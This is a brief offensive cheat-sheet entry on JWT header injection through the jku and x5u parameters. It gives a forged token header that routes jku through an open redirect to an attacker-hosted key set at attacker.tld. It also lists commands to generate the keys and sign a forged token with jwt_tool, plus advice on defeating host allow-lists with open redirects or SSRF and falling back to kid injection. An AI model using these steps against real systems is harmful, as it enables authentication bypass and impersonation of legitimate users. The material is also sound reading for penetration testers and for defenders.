JWT header injection via jku and x5u

Tokens that carry a jku (JWK Set URL) or x5u (cert URL) let the server fetch verification material at runtime. Host your own key set and reference it.

{"alg":"RS256","typ":"JWT","jku":"https://target/redirect?to=https://attacker.tld/jwks.json"}

Sign the token with the private key that matches your published JWKS.

python3 gen_jwks.py > jwks.json   # publish at attacker.tld
jwt_tool eyJ... -S rs256 -pr private.pem -I -hc jku -hv https://attacker.tld/jwks.json

Pro note: servers often allow-list the jku host, so chain an open redirect or SSRF on the trusted domain to reach your JWKS. The same idea applies to x5u with a self-signed cert chain. If both are blocked, fall back to kid injection.